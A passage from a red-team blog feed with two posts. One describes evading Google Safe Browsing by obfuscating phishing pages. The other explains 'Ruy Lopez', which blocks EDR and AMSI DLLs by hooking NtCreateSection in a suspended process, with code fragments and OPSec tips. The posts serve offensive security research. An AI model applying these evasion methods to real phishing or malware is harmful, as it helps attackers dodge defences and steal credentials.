<p><em>This blog post was originally published on <a href="https://www.r-tec.net/r-tec-blog-process-injection-avoiding-kernel-triggered-memory-scans.html">r-tec.net</a>.</em></p>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[A very common technique used by threat actors as well as Red Teams is Process Injection. By using Process Injection, any position-independent code (shellcode) can be written into a remote process and executed within that process, so that it afterward runs in the context of it.]]></summary></entry><entry><title type="html">Evade signature-based phishing detections</title><link href="https://s3cur3th1ssh1t.github.io/Evade_signature-based-phishing_detections/" rel="alternate" type="text/html" title="Evade signature-based phishing detections" /><published>2023-08-11T00:00:00+00:00</published><updated>2023-08-11T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/Evade_signature-based-phishing_detections</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/Evade_signature-based-phishing_detections/"><![CDATA[<p>Phishing attacks are still the most used attack vector for initial access and credential stealing from our perspective. As phishing attempts become more frequent and sophisticated, so do vendors with detection/prevention features. Especially in recent years, it got much harder for us to simulate phishing attacks due to those protection mechanisms. One of these protection mechanisms is Google Safe Browsing. What is Safe Browsing?</p>

<!--more-->

<p>This blog post was written and published on my employer’s website, where it can be found here:</p>

<ul>
  <li><a href="https://www.r-tec.net/r-tec-blog-evade-signature-based-phishing-detections.html">https://www.r-tec.net/r-tec-blog-evade-signature-based-phishing-detections.html</a></li>
</ul>

<p>According <a href="https://developers.google.com/safe-browsing">to google</a>:</p>

<p><em>“Safe Browsing is a Google service that lets client applications check URLs against Google’s constantly updated lists of unsafe web resources. Examples of unsafe web resources are social engineering sites (phishing and deceptive sites) and sites that host malware or unwanted software. Come see what’s possible.</em></p>

<p><em>With Safe Browsing you can:</em></p>

<ul>
  <li><em>Check pages against our Safe Browsing lists based on platform and threat types.</em></li>
  <li><em>Warn users before they click links in your site that may lead to infected pages.</em></li>
  <li><em>Prevent users from posting links to known infected pages from your site.”</em></li>
</ul>

<h2 id="1-safe-browsing-in-action">1. Safe Browsing in action</h2>

<p>What could a typical phishing scenario from a Pentest/Red-Team look like nowadays? Especially after the pandemic and many more companies joined at least with a hybrid model into the Azure Cloud, the Microsoft Login Page seems to be a valuable target. There are plenty of publicly available Phishing templates for it already:</p>

<p align="center">
          <img src="/assets/posts/PhishingDetections/Figure1_Github_search_Microsoft_Login_Phishing.png" />
</p>

<p><em>Figure 1: Github search for Microsoft Login Phishing pages</em></p>

<p><a href="https://github.com/JoniRinta-Kahila/microsoft-login-spoof/tree/main/HTML%26JS-only">Some</a> of these give the same feeling and look like the original login page:</p>

<p align="center">
          <img src="/assets/posts/PhishingDetections/Figure2_Fake_Microsoft_Login_page.png" />
</p>

<p><em>Figure 2: Fake Microsoft Login page</em></p>

<p>However, if you embed this template code into your GoPhish instance and send E-Mails to a target organization, the website will be accessible only for a few minutes. Because as soon as the e-mails are sent, automatic scans of the phishing page might be triggered, causing a Google Safe Browsing categorization and leading to your page looking like this for victims:</p>

<p align="center">
          <img src="/assets/posts/PhishingDetections/Figure3_Firefox_Google_Safe_Browsing_alert.png" />
</p>

<p><em>Figure 3: Firefox Google Safe Browsing alert</em></p>

<p>This is not only true for chrome, but also for all other browsers (as they all use Safe Browsing at the very end) and may look different on the end user side:</p>

<p align="center">
          <img src="/assets/posts/PhishingDetections/Figure4_Edge_Defender_SmartScreen_alert.png" />
</p>

<p><em>Figure 4: Edge Defender SmartScreen alert</em></p>

<p>Users could potentially ignore the alert, but this is very unlikely due to several steps as well as the appearance of the warning. So in the very end, we can assume that this is an effective and good protection mechanism.</p>

<h2 id="2-evading-safe-browsing">2. Evading Safe Browsing</h2>

<p>To avoid this kind of detection from an attacker’s perspective, we need to know exactly what gets us caught. However, the very first assumption here is simple: We used a publicly available phishing template and a scanner marked this as malicious content and classified it like that. This reminds us of the Antivirus/signature-based approaches, right?</p>

<p>If this is true, we could bypass this kind of detection by obfuscating the HTML code and decrypting it on runtime, just as a Packer would do to avoid signature-based detections against an Antivirus. When thinking about it, this process makes more sense in JavaScript, because this is typically only executed within a Browser when the victim visits the page. A scanner could only see some fake HTML content, plus random obfuscated strings and JavaScript content, but not the real page behind it.</p>

<p>Note: This is nothing new at all, Threat Actors use techniques like this <a href="https://www.proofpoint.com/sites/default/files/proofpoint-obfuscation-techniques-phishing-attacks-threat-insight-en-v1.pdf">already for years</a>.</p>

<p>And there are also different HTML Smuggling/Obfuscation PoC’s public that could be used for our purpose, such as the following for example:</p>

<ul>
  <li><a href="https://github.com/BinBashBanana/html-obfuscator">https://github.com/BinBashBanana/html-obfuscator</a></li>
</ul>

<p align="center">
          <img src="/assets/posts/PhishingDetections/Figure5_Obfuscating_Microsoft_Phishing_page.png" />
</p>

<p><em>Figure 5: Obfuscating our Microsoft Phishing page</em></p>

<p>In this example, the tool combines URL + BASE64 encoding. First, it URL encodes the HTML body and then encodes it with BASE64 on top of it.</p>

<p align="center">
          <img src="/assets/posts/PhishingDetections/Figure6_Decoding_payload_BASE64_BurpSuite.png" />
</p>

<p><em>Figure 6: Decoding the payload from BASE64 with BurpSuite</em></p>

<p>To verify, that Safe Browsing does not catch our newly generated page, we triggered different scans on it via VirusTotal plus other URL malware analysis services. Moreover, even on the next day, Safe Browsing did not categorize the site as malicious.</p>

<p>Therefore, we indeed verified, that at least some Safe Browsing checks are done on the HTML content itself and that this kind of scans can be bypassed by obfuscating the HTML code and de-obfuscating it on runtime. We however do not recommend using any public obfuscators here, as the resulting content – especially with BASE64 and URL-Encoding, can still easily get flagged with signatures. It is recommended to build your own obfuscator for Pentest or Red-Teaming projects.</p>

<p>If you are using encryption, you also might want to reduce the entropy of your HTML page by adding invisible HTML content or even more non-used JavaScript code.</p>

<h2 id="3-conclusion">3. Conclusion</h2>

<p>Phishing protection features implemented by big vendors to increase the security for company organizations and individuals are really helpful to protect against known malicious pages or software and made life somehow harder for Pentest- or Red-Teams in the last years.</p>

<p>In the specific example of Google Safebrowsing however, it turned out that detections are somehow based on signatures and can therefore easily be bypassed by obfuscating the original code and de-obfuscating it on runtime in the Browser via JavaScript.</p>

<p>This technique is nothing new and has already been used for years by Threat Actors. Still, we did not need to use it until some months ago, we never faced Safe Browsing based detections before. This blog can therefore help other Pentest- or Red-Teams simulating phishing attacks to customize their campaigns and landing pages.</p>

<hr />
<p><em>This blog post was originally published on <a href="https://www.r-tec.net/r-tec-blog-evade-signature-based-phishing-detections.html">r-tec.net</a>.</em></p>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[Phishing attacks are still the most used attack vector for initial access and credential stealing from our perspective. As phishing attempts become more frequent and sophisticated, so do vendors with detection/prevention features. Especially in recent years, it got much harder for us to simulate phishing attacks due to those protection mechanisms. One of these protection mechanisms is Google Safe Browsing. What is Safe Browsing?]]></summary></entry><entry><title type="html">Cat &amp;amp; Mouse - or Chess?</title><link href="https://s3cur3th1ssh1t.github.io/Cat_Mouse_or_Chess/" rel="alternate" type="text/html" title="Cat &amp;amp; Mouse - or Chess?" /><published>2023-07-07T00:00:00+00:00</published><updated>2023-07-07T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/Cat_Mouse_or_Chess</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/Cat_Mouse_or_Chess/"><![CDATA[<p>Last year I had the idea for a new approach to block EDR DLLs from loading into a newly spawned process. After several months this idea lead to a PoC, which was then published after presenting the topic at <a href="https://www.x33fcon.com/#!s/FabianMosch.md">x33fcon</a> and <a href="https://troopers.de/troopers23/talks/juxtj7/">Troopers</a> this year.</p>

<p>This post will cover the background and description of the technique.</p>

<!--more-->

<h2 id="how-do-edrs-typically-detect-malicious-activities">How do EDRs typically detect malicious activities?</h2>

<p>Endpoint detection and Response (EDR) systems detect malicious activities or software in various ways. The detections can occur from userland (where the user processes run) or from kernelland (operating system level).</p>

<p>Typical analysis/detections from userland include:</p>
<ul>
  <li>Static &amp; dynamic analysis</li>
  <li>Userland hooking</li>
  <li>Stack trace analysis</li>
</ul>

<p>Whereas static analysis can be for example signatures for files (like any AV uses) or checking metadata such as certificates and their validity. Dynamic analysis can include active debugging of an executable, or putting it into a sandbox-like environment to see what it does on runtime.</p>

<p>Stack trace analysis can show, if an process was for example executing specific Windows APIs from an unbacked memory region (dynamic code in a private commit memory section, very likely shellcode) which is super suspicious.</p>

<p>Detection coming from kernelland typically make use of:</p>
<ul>
  <li>Kernel Callbacks</li>
  <li>ETW Threat Intelligence (ETWti)</li>
</ul>

<p>EDRs typically use a signed driver to also operate from kernelland. By doing this, they can check specific Kernel Callbacks for any running process to live intercept execution for those and execute their own code before the process resumes with whatever it will do afterward. If for example a new process is created, the EDR can intercept its execution and check what has to be executed with the Kernel Callback <code class="language-plaintext highlighter-rouge">PsSetCreateProcessNotifyRoutine()</code>. But they could also live intercept the creation of new threads with <code class="language-plaintext highlighter-rouge">PsSetCreateThreadNotifyRoutine()</code> to check their entrypoint for malicious code. As the code is running from the kernel, any mistake could lead to a system-wide bluescreen, which could be one reason for vendors to not make heavy use of it.</p>

<p align="center">
          <img src="/assets/posts/RuyLopez/KernelCallbacks.png" />
</p>

<p>ETWti is an interface provided by Microsoft, where drivers can subscribe to receive special ETW events. These events are specifically meant to be used for detecting malicious activities and also include events such as for Process creation, Allocation of memory, Thread creation and much more:</p>

<p align="center">
          <img src="/assets/posts/RuyLopez/ETWti.png" />
</p>

<p>For this blog post and technique, we will however focus on userland hook-based detections, as those at least from my experience are still the most relevant detections being mainly used by nearly all EDRs.</p>

<h2 id="what-are-userland-hooks-about">What are userland hooks about?</h2>

<p>For being able to do live analysis of userland processes, EDR vendors and most AV vendors as well load their own Dynamic Linked Library (DLL) into running processes on an operating system. After this DLL is loaded in a process, it will patch memory regions of chosen Windows APIs to place a hook, which is basically an JMP instruction going to their own DLLs memory region.</p>

<p align="center">
          <img src="/assets/posts/RuyLopez/Hooks.png" />
</p>

<p>Via this, they can live intercept Windows APIs from being called on runtime of a process and inspect the input arguments for the Windows API being executed to check what it <em>wants to</em> do on runtime.</p>

<p>Let us imagine the following process for malware to execute shellcode in a remote process for a better understanding:</p>

<p align="center">
          <img src="/assets/posts/RuyLopez/ProcInject.png" />
</p>

<p>First, the malware gets a Handle to the remote process by using <code class="language-plaintext highlighter-rouge">OpenProcess</code>. Afterwards it calls <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> to allocate memory in the remote process. <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> is used to actually write the Shellcode into the remote process newly allocated memory region. In the end, <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> is used to execute the Shellcode in the remote process in a newly created Thread. We also imagine, that the Shellcode was encrypted and decrypted on runtime before writing it into the remote process with <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to avoid signature based detections. <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> will after being called itself call <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> from <code class="language-plaintext highlighter-rouge">ntdll.dll</code>, which is the last function being called from userland. As <code class="language-plaintext highlighter-rouge">ntdll.dll</code> functions are the last ones being called from userland, many vendors tend to hook functions from this specific DLL.</p>

<p>An example definition for <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> looks like the following:</p>

<p align="center">
          <img src="/assets/posts/RuyLopez/Definition.png" />
</p>

<p>The EDR can inspect input arguments when hooked APIs are called on runtime, right? So in this case, the EDR could inspect the input parameters for <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code> and especially the <code class="language-plaintext highlighter-rouge">startAddress</code> input pointer. When a malware wants to start Shellcode in a new Thread, the <code class="language-plaintext highlighter-rouge">startAddress</code> will typically point to the already <strong>decrypted</strong> plain Shellcode, e.G. an C2 implant. Our EDR can now apply Yara-Rules (memory scan) on the <code class="language-plaintext highlighter-rouge">startAddress</code> memory region to find any <strong>known malicious</strong> C2 implants, such as CobaltStrike, Sliver, Covenant and so on. And if a rule matches, they know that malicious software wants to be called and therefore just kill the process.</p>

<p>So in the very end our malware has been stopped by the EDR on runtime, based on userland hook-based detections + verification of <strong>known malicious</strong> code.</p>

<h2 id="existing-userland-hook-evasion-techniques">Existing Userland hook evasion techniques</h2>

<p>Several different tools and techniques have been released over the last years, which are capable of bypassing userland hook-based detections. I will give a summary here, but won’t go into depth as there are many other articles to read about or code to check in the links.</p>

<ol>
  <li>Unhooking</li>
  <li>The usage of direct Syscalls</li>
  <li>Using Hardware Breakpoints</li>
  <li>Patching the DLL entrypoint</li>
</ol>

<h4 id="unhooking">Unhooking</h4>

<p>With unhooking, a fresh copy of <code class="language-plaintext highlighter-rouge">ntdll.dll</code> is grabbed from any location (Disk, KnownDlls) and the <em>EDR patched</em> memory region with jumps to the EDR DLL is replaced with the original value of <code class="language-plaintext highlighter-rouge">ntdll.dll</code>. This effectively bypasses hooks, as no more jumps will take place and no more input argument analysis is done.</p>

<p align="center">
          <img src="/assets/posts/RuyLopez/Unhook.png" />
</p>

<h4 id="direct-syscalls">Direct Syscalls</h4>

<p>Instead of calling <code class="language-plaintext highlighter-rouge">ntdll.dll</code> functions the regular way, their content can also be retrieved or re-build on runtime and executed directly from the current process memory. If we have our own <code class="language-plaintext highlighter-rouge">ntdll.dll</code> functions in our own process memory, there will also be no hooks in place, as those are only in the <code class="language-plaintext highlighter-rouge">ntdll.dll</code> memory location, which also leads to a bypass here. Proof of Concepts for different retrieval techniques are for example the following:</p>

<ol>
  <li>Re-build <code class="language-plaintext highlighter-rouge">ntdll.dll</code> functions with information from Memory (<a href="https://github.com/am0nsec/HellsGate">HellsGate</a>, <a href="https://github.com/thefLink/RecycledGate">RecycledGate</a>,*-Gate)</li>
  <li>Get a fresh <code class="language-plaintext highlighter-rouge">ntdll.dll</code> copy from Disk and put the function content to memory (GetSyscallStub, e.G. <a href="https://github.com/TheWover/DInvoke">C DInvoke</a>)</li>
  <li>The Syscall Stubs are partially or completely embedded in the malware executable from the beginning - (Syswhispers <a href="https://github.com/jthuraisamy/SysWhispers">1</a>,<a href="https://github.com/jthuraisamy/SysWhispers2">2</a>,<a href="https://github.com/klezVirus/SysWhispers3">3</a>)</li>
</ol>

<h4 id="usage-of-hardware-breakpoints">Usage of Hardware Breakpoints</h4>

<p>The first PoC I know about which was using Hardware Breakpoints to evade userland hooks was <a href="https://github.com/rad9800/TamperingSyscalls">TamperingSyscalls</a>. The process looks like the following:</p>

<p align="center">
          <img src="/assets/posts/RuyLopez/HardwareBreakpoints.png" />
</p>

<p>By placing Hardware Breakpoints to the <code class="language-plaintext highlighter-rouge">ntdll.dll</code> function we want to call afterward, we can effectively intercept execution before the jump to the EDR DLL takes place. In that moment, we hide the input parameters for this specific function from the stack by replacing it with arbitrary values and we back the original values up in another location. Afterwards, execution is resumed and the EDR hook <strong>will take place</strong>. But the EDR won’t see the original input parameters and therefore cannot detect/verify any malicious activities.</p>

<p>The first original PoC was then single stepping forward, till the Syscall instruction itself would be called. But before actually calling it, the original input parameters will be restored to the stack, so that the function will work as expected.</p>

<h4 id="patching-the-dll-entrypoint">Patching the DLL entrypoint</h4>

<p><a href="https://github.com/CCob">CCob</a> released a <a href="https://ethicalchaos.dev/2020/06/14/lets-create-an-edr-and-bypass-it-part-2/">blog Post</a> and the tool <a href="">SharpBlock</a> in 2020. This technique works as follows:</p>
<ol>
  <li>Create a new Process with the <code class="language-plaintext highlighter-rouge">DEBUG_ONLY_THIS_PROCESS</code> flag. This leads to the parent process being capable of acting as a debugger for the new process. As Debugger, we can intercept execution for specific events and execute code before resuming execution.</li>
  <li>As Debugger, the parent process waits for <code class="language-plaintext highlighter-rouge">LOAD_DLL_DEBUG_EVENT</code> events, which appear <strong>after</strong> DLLs were loaded into a process but <strong>before</strong> something out of them was executed.</li>
  <li>The parent process checks the DLL being loaded. If it was the EDR DLL, it will patch the Entrypoint from it with <code class="language-plaintext highlighter-rouge">0x3c - return</code>, so that the DLL will afterward instead of placing hooks just return and exit.</li>
</ol>

<p align="center">
          <img src="/assets/posts/RuyLopez/SharpBlock.png" />
</p>

<p>Effectively, no DLL is there anymore and no hooks are placed in the new process.</p>

<h2 id="the-idea-for-a-new-approach">The Idea for a new approach</h2>

<p>I had the idea for a new approach after reading the following Blogpost by <a href="https://twitter.com/frodosobon">Alejandro Pinna</a>:</p>

<ul>
  <li>https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/</li>
</ul>

<p>The technique described here is capable of preventing DLLs from being loaded into a process by placing hooks ourself to API functions being involved into the process of loading a DLL and mapping it into memory. It can be used to e.G. prevent <code class="language-plaintext highlighter-rouge">amsi.dll</code> from loading into the current process before calling <code class="language-plaintext highlighter-rouge">assembly::load()</code>, so that it leads to an AMSI bypass.</p>

<p>In more detail the exemplary function <code class="language-plaintext highlighter-rouge">NtCreateSection</code> was hooked, so that when the target DLL memory section wants to get created we can intercept this process and return NTSTATUS fail. If <code class="language-plaintext highlighter-rouge">NtCreateSection</code> fails, the mapping to memory also cannot be done which in the very end leads to the DLL not getting loaded at all.</p>

<p>But this approach can only be applied to DLLs, that <strong>were not loaded yet</strong> in the current process.</p>

<h4 id="the-problem-with-edr-dlls">The problem with EDR DLLs</h4>

<p>EDRs basically act like the white player in a <a href="https://bruteratel.com/release/2022/08/18/Release-Scandinavian-Defense/">chess game</a>. They can after receiving a Kernel Callback for a new process getting created <strong>directly</strong> load their own DLL into the process memory. So in a good implementation (some vendors don’t do that), the DLL will get loaded <strong>instantly</strong> after <code class="language-plaintext highlighter-rouge">ntdll.dll</code>. And it will get loaded into basically <strong>any</strong> userland process (besides you may find some <a href="my own tweet regarding to finding exceptions">exceptions</a>).</p>

<p>This leads to the fact, that we cannot hook <code class="language-plaintext highlighter-rouge">NtCreateSection</code> to prevent EDR DLLs from being loaded, as they are always loaded already in our own process.</p>

<h4 id="solvable">Solvable?</h4>

<p>But - if we create a new suspended process, only <code class="language-plaintext highlighter-rouge">ntdll.dll</code> will be loaded:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tProcPath</span> <span class="o">=</span> <span class="n">newWideCString</span><span class="p">(</span><span class="n">r</span><span class="s">"C:\windows\system32\windowspowershell</span><span class="se">\v</span><span class="s">1.0\powershell.exe"</span><span class="p">)</span>

<span class="n">status</span> <span class="o">=</span> <span class="n">CreateProcess</span><span class="p">(</span>
    <span class="nb">NULL</span><span class="p">,</span>
    <span class="n">cast</span><span class="p">[</span><span class="n">LPWSTR</span><span class="p">](</span><span class="n">tProcPath</span><span class="p">),</span>
    <span class="n">ps</span><span class="p">,</span>
    <span class="n">ts</span><span class="p">,</span> 
    <span class="n">FALSE</span><span class="p">,</span>
    <span class="n">CREATE_SUSPENDED</span> <span class="n">or</span> <span class="n">CREATE_NEW_CONSOLE</span> <span class="n">or</span> <span class="n">EXTENDED_STARTUPINFO_PRESENT</span><span class="p">,</span>
    <span class="nb">NULL</span><span class="p">,</span>
    <span class="n">r</span><span class="s">"C:\Windows\system32</span><span class="se">\"</span><span class="s">,</span><span class="err">
</span><span class="s">    addr si.StartupInfo,</span><span class="err">
</span><span class="s">    addr pi)</span><span class="err">
</span></code></pre></div></div>

<p align="center">
          <img src="/assets/posts/RuyLopez/Suspended.png" />
</p>

<p>So my idea was basically (setzt genau an dieser Stelle an). <code class="language-plaintext highlighter-rouge">ntdll.dll</code> is already loaded, <code class="language-plaintext highlighter-rouge">NtCreateSection</code> is contained there. We can therefore place a hook into our newly created suspended process and write custom self written Shellcode into it, which handles this hook to prevent specific DLLs from being loaded/mapped into its memory. All we need to do is the following:</p>

<ol>
  <li>Create a suspended process</li>
  <li>Allocate memory for our custom Shellcode and write it into that region</li>
  <li>Remotely place a hook on <code class="language-plaintext highlighter-rouge">NtCreateSection</code> which jumps to our Shellcode</li>
  <li>Resume the process</li>
  <li>We are in control for DLL-loads</li>
</ol>

<p align="center">
          <img src="/assets/posts/RuyLopez/RuyLopez.png" />
</p>

<p>Sounds simple? Well, as least for me in the actual implementation it wasnt.</p>

<h2 id="challenges-in-the-implementation">Challenges in the implementation</h2>

<h4 id="pic-code">PIC Code</h4>

<p>We have to write custom Shellcode. I personally never did that before in a project, so this was the first time. To write PIC-Code, we need to take care of some things:</p>
<ul>
  <li>Everything should only exist in the <code class="language-plaintext highlighter-rouge">.text</code> section of the compiled executable. That is the dynamic (position independent) part of an executable, which we can extract to have PIC-Code.</li>
  <li>We cannot use any global variables anymore (they are not placed in the <code class="language-plaintext highlighter-rouge">.text</code> section) - we therefore have to find alternatives to exchange information in between different functions</li>
  <li>All Windows APIs being called need to be resolved dynamically</li>
  <li>The <code class="language-plaintext highlighter-rouge">mainCRTStartup</code> routine needs to be replaced with our Entrypoint for proper execution</li>
  <li>This is specific to <strong>this</strong> PoC only: We can only use <code class="language-plaintext highlighter-rouge">ntdll.dll</code> functions, because when our hook is hit the process is not even fully initialized yet. We also cannot load other DLLs at that moment, it will lead to a process crash. Alternatively, we could wait for process initialization to finish and only apply our logic from that moment on, but I didnt implement it like this myself.</li>
  <li>Many comfortable functions, which you may want to use are not usable for writing PIC-Code. Such as <code class="language-plaintext highlighter-rouge">charcmp</code>, <code class="language-plaintext highlighter-rouge">StrStrIA</code>, <code class="language-plaintext highlighter-rouge">strlen</code>, <code class="language-plaintext highlighter-rouge">memcpy</code> and more. So in my case, I manually coded the logic for these functions, or Github Copilot did after writing a comment with what I wanted to achieve ;-)</li>
  <li>I learned, that debugging PIC-Code is a pain. Especially when only being capable of using <code class="language-plaintext highlighter-rouge">ntdll.dll</code> functions. So I ended up writing a custom logger function, which can give some information about what happened in case of troubleshooting.</li>
</ul>

<h4 id="original-ntcreatesection-value">Original NtCreateSection value</h4>

<p>As stated earlier, our technique will hook <code class="language-plaintext highlighter-rouge">NtCreateSection</code> in the new process. So when this process is resumed, the original value does not exist anymore in its process memory. But as we don’t want to prevent each and every <code class="language-plaintext highlighter-rouge">NtCreateSection</code> call, we need to restore the original value at some point to still be able of creating Sections for other DLLs or object Handles. In the very end its a Syscall Stub, so you could use any existing technique for direct Syscall retrieval and execution such as <a href="">TartarusGate</a> or <a href="">GetSyscallStub</a> or whatever, but only by using <code class="language-plaintext highlighter-rouge">ntdll.dll</code> functions. For my initial PoC however, I decided to use an egghunter in the host process with an egg placed in the Shellcode. The original host process can retrieve the original <code class="language-plaintext highlighter-rouge">NtCreateSection</code> value before placing the hook and replace the egg in the Shellcode with that original value, so that the Shellcode itself can restore the original value on runtime.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">originalBytes</span><span class="p">()</span> <span class="p">{</span> <span class="c1">// used to store the original bytes of the function we are hooking. This function can be used in PIC to exchange information between functions, as global variables cannot be used. Thanks @Mr-Un1k0d3r for the hint.</span>
    <span class="n">asm</span><span class="p">(</span><span class="s">".byte 0xDE, 0xAD, 0xBE, 0xEF, 0x13, 0x37, 0xDE, 0xAD, 0xBE, 0xEF, 0x13, 0x37, 0xDE, 0xAD, 0xBE, 0xEF, 0x13, 0x37, 0xDE, 0xAD, 0xBE, 0xEF, 0x13, 0x37 "</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p align="center">
          <img src="/assets/posts/RuyLopez/EggHunt.png" />
</p>

<h4 id="stack-alignment">Stack Alignment?</h4>

<p>If you take a look at existing PIC-Code implementations on Github, such as <a href="https://github.com/codewhitesec/HandleKatz">Handlekatz</a>, or <a href="https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/">blog posts</a>, you will notice, that these have a small embedded ASM-Stub which looks like this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">extern</span> <span class="n">entryFunction</span>
<span class="n">global</span> <span class="n">alignstack</span>

<span class="n">segment</span> <span class="p">.</span><span class="n">text</span>

<span class="n">alignstack</span><span class="o">:</span>
    <span class="n">push</span> <span class="n">rdi</span>                    <span class="p">;</span> <span class="n">backup</span> <span class="n">rdi</span> <span class="n">since</span> <span class="n">we</span> <span class="n">will</span> <span class="n">be</span> <span class="n">using</span> <span class="n">this</span> <span class="n">as</span> <span class="n">our</span> <span class="n">main</span> <span class="k">register</span>
    <span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="n">rsp</span>                <span class="p">;</span> <span class="n">save</span> <span class="n">stack</span> <span class="n">pointer</span> <span class="n">to</span> <span class="n">rdi</span>
    <span class="n">and</span> <span class="n">rsp</span><span class="p">,</span> <span class="n">byte</span> <span class="o">-</span><span class="mh">0x10</span>         <span class="p">;</span> <span class="n">align</span> <span class="n">stack</span> <span class="n">with</span> <span class="mi">16</span> <span class="n">bytes</span>
    <span class="n">sub</span> <span class="n">rsp</span><span class="p">,</span> <span class="n">byte</span> <span class="o">+</span><span class="mh">0x20</span>         <span class="p">;</span> <span class="n">allocate</span> <span class="n">some</span> <span class="n">space</span> <span class="k">for</span> <span class="n">our</span> <span class="n">C</span> <span class="n">function</span>
    <span class="n">call</span> <span class="n">entryFunction</span>          <span class="p">;</span> <span class="n">call</span> <span class="n">the</span> <span class="n">C</span> <span class="n">function</span>
    <span class="n">mov</span> <span class="n">rsp</span><span class="p">,</span> <span class="n">rdi</span>                <span class="p">;</span> <span class="n">restore</span> <span class="n">stack</span> <span class="n">pointer</span>
    <span class="n">pop</span> <span class="n">rdi</span>                     <span class="p">;</span> <span class="n">restore</span> <span class="n">rdi</span>
    <span class="n">ret</span>                         <span class="p">;</span> <span class="k">return</span> <span class="n">where</span> <span class="n">we</span> <span class="n">left</span>
</code></pre></div></div>

<p>This is typically used to align the stack for 16-byte code. But this code cannot be used in our implementation, as it modifies the stack. And modifications to the stack lead to corrupting input arguments of <code class="language-plaintext highlighter-rouge">NtCreateSection</code>. When our Shellcode is called, we therefore need to not modify the stack at all but instead directly jump to our entrypoint function which handles the hook:</p>

<p align="center">
          <img src="/assets/posts/RuyLopez/DirectJump.png" />
</p>

<p>Good news, we also don’t need to align the stack at all in this case, as that is already done by the function calling <code class="language-plaintext highlighter-rouge">NtCreateSection</code>.</p>

<h4 id="choosing-the-correct-ntstatus-return-value">Choosing the correct NTSTATUS return value</h4>

<p>Each process/software handles calls to <code class="language-plaintext highlighter-rouge">NtCreateSection</code>differently and also behaves differently depending on the returned NTSTATUS call. Some may just ignore the value, others will try to repeat the call infinitely, and so on. When fiddling around with an initial PoC to prevent <code class="language-plaintext highlighter-rouge">amsi.dll</code> from being loaded into a newly spawned Powershell process for example, I noticed, that when returning <code class="language-plaintext highlighter-rouge">NTSTATUS 0</code>, Powershell will crash. This is due to the Windows OS and or Microsoft believing, the Section was created successfully and therefore just continuing execution as normal and not handling the resulting crash. But when passing an error like <code class="language-plaintext highlighter-rouge">0xC0000054 - STATUS_FILE_LOCK_CONFLICT</code>, this error will get handled correctly and <code class="language-plaintext highlighter-rouge">amsi.dll</code> will not get loaded but Powershell will still start.</p>

<p>However, when using an error code for different executables or EDR DLLs, you may see an GUI error message with your STATUS call. As long as no one presses okay, execution is not resumed. I personally had the best experience with still returning NTSTATUS success for blocking EDR DLLs, but if you face some problems try fiddling around with that value.</p>

<h2 id="the-proof-of-concept---ruy-lopez">The Proof of Concept - Ruy Lopez</h2>

<p>You might remember the EDR typically acts as the white player in a chess game? Well, with the approach from this post we as malware act like the white player, because we are even in the remote process <strong>before</strong> the EDR DLL is loaded and can prevent it from being loaded. Therefore I decided to name the initial Proof of Concept Ruy Lopez, a white player starting technique from chess. :-)</p>

<p>As mentioned in the last chapter already, the published Proof of Concept will spawn a new Powershell in suspended mode, write the Shellcode into that suspended process and place the hook and afterwards resume it. But as its a Proof of Concept, it will <strong>only</strong> block/prevent <code class="language-plaintext highlighter-rouge">amsi.dll</code> from being loaded effectively also leading to an AMSI bypass. If you want to block EDR DLLs, you have to modify my <code class="language-plaintext highlighter-rouge">HookForward</code> Code to do so, homework for the reader is always good for leaning purposes.</p>

<p>When I did test the technique against different EDR vendors some months ago (before publicly releasing it), it was neither alerted or prevented by any of them. In one specific case an vendor was injecting an DLL instead of loading it the regular way - if this is the case my PoC cannot block it. In another test, one specific DLL out of five different from that vendor did lead to process crashes when blocking it - luckily it was not the one placing hooks. So in any case, the PoC may need modifications per vendor or being adjusted depending on some special cases.</p>

<p>The final PoC can be found here:</p>

<ul>
  <li>https://github.com/S3cur3Th1sSh1t/Ruy-Lopez</li>
</ul>

<h4 id="is-that-opsec-safe">Is that OPSec Safe?</h4>

<p>Well. Using Injection and hooking in general has well documented easy to spot Indicators of Compromise (IoCs) in any case. So if a Blue Team or Hunter/Analyst reviews the processes being involved, it will be easy to spot this IoCs and find out something malicious happened. However, till now I didnt face automated detections alerting on or preventing this technique. EDR vendors could for example also integrate checks, that if a suspended process was resumed and if some <code class="language-plaintext highlighter-rouge">ntdll.dll</code> function was hooked at that point kill the process. I guess, there are very few or maybe even no false positives at all for such a situation.</p>

<h4 id="opsec-improvements">OPSec improvements</h4>

<p>The first PoC was using Win32 APIs for Injection and for placing the hook. I changed this already to direct Syscalls after giving the Troopers talk. Whats left?</p>

<p>The Shellcoe itself needs to have <code class="language-plaintext highlighter-rouge">RWX</code> permissions in the published version, due to doing some self modifications. But this is not nessesarily needed and relatively easy to adjust, I placed some comments into the code on what to change for the ones interested. By modifying it, you can also use <code class="language-plaintext highlighter-rouge">RX</code> permissions.</p>

<p>Instead of using plain DLL-names to block (they appear as string in the shellcode itself), you could use Hashing and compare against that to avoid signature based detections for the Shellcode.</p>

<p>To get rid of hooking based IoCs, you could use Hardware Breakpoints instead.</p>

<h4 id="alternative-usage-ideas">Alternative usage ideas</h4>

<ul>
  <li>Blocking <code class="language-plaintext highlighter-rouge">wldp.dll</code> to bypass Device Guard / trust checks</li>
  <li>Block custom AMSI Provider DLLs</li>
